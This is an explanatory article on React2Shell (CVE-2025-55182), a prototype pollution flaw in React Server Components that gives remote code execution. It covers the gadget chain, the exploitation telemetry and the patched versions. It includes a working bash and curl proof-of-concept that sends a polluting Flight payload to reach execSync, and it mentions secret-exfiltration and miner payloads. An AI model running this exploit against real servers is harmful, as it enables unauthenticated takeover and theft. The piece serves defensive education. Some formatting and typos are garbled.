React2Shell Aftermath
Inside CVE-2025-55182: The Prototype Pollution Bug That Broke React Server Components

Defining React terminology
React: React started as a client-side JavaScript library for building component-based user interfaces, managing a virtual DOM and pushing minimal updates to the browser. Over time it grew into a full ecosystem that spans the browser, Node.js, edge runtimes, and native apps, and it became the default choice for a huge portion of modern frontends.
React Server Components: RSC extend this idea by letting components run on the server while still composing with client components, so data fetching and heavy logic stay close to the database and only a serialized “UI description” flows over the wire. They were introduced as an experimental capability and solidified across React 18 and 19, where frameworks like Next.js App Router adopted them to reduce bundle size and move more work to the backend.
React Flight Protocol: To ship this model, React introduced the React Flight protocol, a custom streaming serialization format that encodes component trees, props, and server function calls into a sequence of frames that the client or server parses and resolves into live components. This protocol underpins the RSC architecture in React 18 and 19 and is used by server-side libraries such as react-server-dom-webpack, react-server-dom-parcel, and react-server-dom-turbopack.
React2Shell: tracked as CVE-2025-55182, is a critical bug in that Flight handling code that allows an unauthenticated attacker to achieve remote code execution on servers running vulnerable RSC stacks with a single crafted HTTP request. It was disclosed on December 3, 2025, with public technical details and proof-of-concepts from researcher Lachlan Davidson and later analyses from vendors including Datadog, Wiz, and Cloudflare, and it received a maximum CVSS score of 10.0 because exploitation is trivial, pre-auth, highly reliable, and already widely abused in the wild.
Next.js: React framework for building full-stack web applications. It builds on React by adding file-based routing, server-side rendering, static generation, and API routes, so teams can ship production-ready apps without wiring their own bundler, router, or Node.js server. It is tightly integrated with React Server Components and the React Flight protocol in recent versions, especially the App Router, which uses RSC to move more logic to the server while streaming UI to the client. In the context of React2Shell, many real-world exploits targeted default Next.js App Router setups, which is why patched Next.js releases were shipped quickly to close the vulnerable RSC code paths
React2Shell proof-of-concept
In the first days, the community saw several partial or non-functional snippets, but the first broadly accepted, consistently working proof-of-concept targeted a plain Next.js app generated by create-next-app and was published by security researcher Moritz Sanft on GitHub. Datadog’s write-up explicitly calls out this repository as the first reliable RCE demo against a stock Next.js 16.0.6 App Router application using React Server Components.

The core idea in that PoC is simple: send a specially crafted React Flight payload to the RSC actions endpoint so that the server deserializer pollutes prototypes and then walks a gadget chain ending in child_process.execSync. The attack runs over a normal HTTP POST, with no authentication and exotic headers beyond what the framework already expects for server actions, and it succeeds even when the app itself only renders the default boilerplate page.
A simplified version of this exploit, following the structure described by Datadog and the public PoCs, looks like this (for explanation purposes only, not for use against systems you do not own).
bash# 1. define the command to run on the server
command='id > /tmp/pwned.txt'
# 2. create the malicious React Flight model (payload.json)
cat > payload.json << 'EOF'
["$", "1", null, {
"then": {
"__proto__": {
"then": {
"constructor": {
"constructor": "return process.mainModule.require('child_process').execSync(process.env.CMD)"
}
}
}
},
"status": "resolved",
"value": ""
}]
EOF
# 3. small wrapper part (payload2.txt) referenced by the model
echo "0: inline" > payload2.txt
# 4. send multipart request to a vulnerable Next.js RSC endpoint
CMD="$command" \
curl -X POST http://localhost:3000/ \
-H 'Next-Action: some-action' \
-F '0=@payload.json;type=application/json' \
-F '1=@payload2.txt;type=text/plain' \
--max-time 2 >/dev/null 2>&1
The attack works like this:
The JSON array in
payload.jsonencodes a React Flight model where user-controlled data is mapped into internal metadata that React’s server-side code will interpret as component or promise structures.Through the
"proto"key, the attacker injects a then property intoObject.prototype, turning many objects in the deserialization flow into promise-like gadgets that will be handled by framework code.The nested
"constructor"."constructor"chain abuses JavaScript’s dynamic nature, because when evaluated it yields theFunctionconstructor, which can execute arbitrary JavaScript strings that are built from environment data or hardcoded payloads.By setting the CMD environment variable before the request and wiring the payload so the constructed function calls
process.mainModule.require("child_process").execSync(process.env.CMD), the attacker reliably spawns a command on the server, here writing the output of id into/tmp/pwned.txt.The final curl invocation sends this crafted multipart request to the app’s RSC endpoint with the Next-Action header that Next.js already uses for server actions, so there is no additional “exploit” surface to enable because the vulnerability lives inside normal framework plumbing.
What prototype pollution is
Prototype pollution is a JavaScript vulnerability where an attacker injects properties into global object prototypes, most often Object.prototype, so that many unrelated objects silently inherit malicious values. This usually happens when code recursively merges or spreads user-controlled objects into existing ones without filtering out special keys like "proto", "prototype", or "constructor", which control the prototype chain rather than just adding a normal field.
Because so many objects in an application inherit from Object.prototype, a single polluted property can suddenly appear on configuration objects, options, or request/response wrappers that never set it themselves. When these inherited properties are then passed into powerful “sinks” such as child_process.exec or DOM-building functions, the result can be remote code execution on the server or DOM XSS in the browser.
Prior JS vulnerabilities that used it
Server-side prototype pollution has been demonstrated repeatedly in Node.js, where polluted prototypes persist for the lifetime of the process and can be chained into RCE. One notable case was Blitz.js, which is a full-stack React framework built on top of Next.js that adds a “zero-API” data layer so you can call server code directly from components without writing REST or GraphQL endpoints. There was a bug in the SuperJSON library’s handling of referentialEqualities allowed attacker-controlled paths like "proto.x" to write arbitrary properties onto Object.prototype during RPC argument deserialization, enabling unauthenticated RCE in apps that exposed at least one RPC endpoint.
The Blitz.js exploit chained several gadgets: polluted properties on a Next.js pages manifest created fake routes pointing to attacker-chosen local JavaScript files, which then caused the Blitz CLI wrapper (using child_process.spawn) to load and execute controlled code, ultimately manipulating NODE_OPTIONS to force Node.js to require attacker content. On the client side, similar pollution of Object.prototype has been used to change default configuration in front-end libraries, for example by injecting a websiteUrl or script URL property that DOM helper functions read and append as <script src="...">, leading directly to DOM XSS if the polluted URL points to attacker-controlled or data: payloads.
How React2Shell uses prototype pollution
React2Shell applies this same pattern inside the React Flight deserialization logic used by React Server Components. The vulnerable code effectively does something like
const moduleExports = parcelRequire[metadata.ID]; return moduleExports[metadata.NAME];
assuming that metadata.NAME refers to a legitimate export and that any matching property is an own property of moduleExports. In reality, an attacker can send crafted Flight data that pollutes Object.prototype, making fake properties appear via the prototype chain so the lookup “finds” attacker-controlled fields that no module actually exported.
From there, the exploit turns polluted objects into a gadget chain. Payloads add a then property through "proto", which causes ordinary objects in the deserialization flow to look promise-like so that framework code eagerly calls their then method. That then handler is wired using the familiar "constructor"."constructor" trick to obtain the Function constructor, and then it constructs and runs code such as process.mainModule.require("child_process").execSync(...), turning what should be a benign React Flight payload into arbitrary shell commands on the server.
React2Shell aftermath
Once the vulnerability was disclosed and the first working PoCs appeared, the internet’s reaction was immediate and measurable. Datadog reports that scanning traffic for CVE-2025-55182 started around December 3 at 22:00 UTC, ramped up on December 4, and by December 5 they were seeing active exploitation attempts with weaponized payloads from more than 800 distinct IP addresses against at least two organizations. Attackers quickly evolved payloads from simple probes that read /etc/passwd or call id to fully weaponized scripts exfiltrating .env files, downloading remote binaries, and installing HTTP backdoors or cryptominers on exposed servers.

Cloudflare’s telemetry shows how broad that probing became. Between December 3 and December 11, two React2Shell-related WAF rules recorded more than 582.10 million hits, averaging about 3.49 million hits per hour and peaking at 12.72 million hits in a single hour. During that period, the average number of unique attacking IPs per hour was about 3,598, with spikes up to 16,585, and thousands of distinct User-Agent strings indicated a mix of commercial scanners, security tools, and custom scripts from many independent operators. Payload size analysis showed that most requests were small probes in the 700–800 byte range, but some payloads reached around 375 MB, which suggests experimentation with large, evasive, or multi-stage exploit chains.
Other measurements complete the picture. Wiz estimates that about 39 percent of cloud environments they observe contain vulnerable React or Next.js instances affected by CVE-2025-55182, and that roughly 44 percent of environments expose publicly accessible Next.js applications overall. One impact summary notes that internet-wide scanning identified about 77,664 exposed IP addresses running vulnerable stacks, with more than 30 organizations confirmed breached in early waves of exploitation. Observed campaigns included deployment of XMRig-based miners, Sliver and Cobalt Strike implants, botnet integrations, and aggressive credential harvesting from environment variables, cloud metadata services, and developer secrets such as SSH keys and registry tokens.
All of this forced platforms and vendors to react under significant pressure. Cloudflare rapidly shipped managed WAF rules to block React2Shell payloads and related RSC issues, even at the cost of a roughly 25-minute incident where about 28 percent of its HTTP traffic was affected by overly broad blocking. Vercel introduced strong protections around Next.js App Router, set up dedicated detection and response for their customers, and launched a HackerOne program that reportedly paid about 750,000 USD in a single day for WAF bypass submissions, which says a lot about both the severity of the CVE and the brittleness of relying on WAF-only defenses.
What we can say about the current React ecosystem
React2Shell exposed a tension that has been building in the React ecosystem for years: the drive to push more logic server-side, serialize more complex abstractions, and optimize every millisecond of latency versus the security reality that every new protocol is another attack surface. The vulnerability emerged in the low-level plumbing of React Server DOM packages because deserialization logic trusted metadata too much and did not fully account for prototype abuse, even though the community has long known prototype pollution as a serious vulnerability class.
The resolution was relatively fast. The core fix, merged on December 3, 2025, changes how React’s requireModule logic accesses exports, adding a hasOwnProperty check so that only own properties of the module exports object are returned, which prevents prototype-injected fields from being treated as legitimate exports. Patched versions of react-server-dom-webpack, react-server-dom-parcel, and react-server-dom-turbopack were released as 19.0.1, 19.1.2, and 19.2.1, while Next.js shipped patched releases including 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, and 16.0.7 for App Router users, with 13.x and 14.x stable and the Pages Router not affected by this particular bug.
Beyond version bumps, the ecosystem response leaned heavily on collaboration. Security teams at Datadog, Wiz, and Cloudflare shared indicators of compromise, malicious IP ranges, and practical detection patterns, such as correlating suspicious HTTP POSTs with RSC-specific headers, constructor markers in payload bodies, and unusual child processes spawned by Node.js. Platform providers like Cloudflare and Vercel deployed dedicated WAF rules and bug bounty programs, while open-source maintainers documented which stacks were affected, for example which Next.js canaries and which third-party RSC frameworks (like Waku or Parcel/Vite plugins) needed urgent upgrades.
The pace of development in the React ecosystem is both a strength and a liability in this story. Rapid iteration enabled the community to ship Server Components, App Router, and sophisticated bundler integrations quickly, but it also meant complex serialization paths and cross-package interactions grew faster than deep threat modeling around topics like prototype pollution and deserialization gadgets. React2Shell suggests that future features will need security reviews that treat serialization formats and “magic metadata” fields as first-class risks, and that frameworks should default to safer patterns like null-prototype objects and explicit schema validation for any data crossing a trust boundary.
There is still a hopeful side to how this played out. The community moved fast and speed at which patches, WAF rules, IOCs, and educational write-ups appeared shows that when a critical bag lands, the ecosystem can respond coherently. The lesson React2Shell is acknowledging that as frontend frameworks continue to absorb server responsibilities, the line between UI and security-critical backend surface” has largely disappeared.
Resources
Prototype pollution background and labs
PortSwigger: “Overview of Prototype P3ollution”: clear introduction to what prototype pollution is, how it arises from unsafe merges, and example gadgets for DOM XSS.
PortSwigger: “Client-Side Prototype Pollution Guide”: how to find sources, gadgets, and bypass filters in front-end code.
PortSwigger: “Server-Side Prototype Pollution Guide” and “Server-Side Prototype Pollution Q&A”: Node.js-focused techniques for detecting, exploiting, and mitigating server-side pollution, including RCE gadget hunting.
PortSwigger: “Preventing Prototype Pollution Vulnerabilities”: defensive patterns such as blocking dangerous keys, using null-prototype objects, and switching to Map/Set where appropriate.
Real-world prototype pollution exploits
Sonar: “Blitz.js Prototype Pollution to RCE”: analysis of the Blitz.js and SuperJSON bug (CVE-2022-23631), showing how prototype pollution was chained through Next.js routing and child_process.
Amazon: “React2Shell flaw exploited to breach 30 orgs, 77k IPs vulnerable”: impact-focused summary of exposed IPs, confirmed breaches, and timelines around early exploitation.
React2Shell deep dives and advisories
Datadog Security Labs: “CVE-2025-55182 React2Shell – Remote code execution in React Server Components and Next.js”: provided technical root cause, PoCs, lab reproduction steps, and exploitation telemetry.
Wiz: “Critical vulnerability in React (CVE-2025-55182)”: showed impact statistics across cloud environments and real-world exploitation observations.
Wiz: “React2Shell CVE-2025-55182: Deep Dive & Mitigation Guide”: covered in-depth explanation of the Flight bug, exploit chain, impacted stacks, and defensive playbook.
Cloudflare: “React2Shell and related RSC vulnerabilities threat brief”: large-scale traffic stats, threat actor behavior, targeting, and WAF defenses.
React: “Critical Security Vulnerability in React Server Components”: official overview from React of RSC RCE and DoS issues, including how unauthenticated HTTP requests to Server Functions can lead to RCE.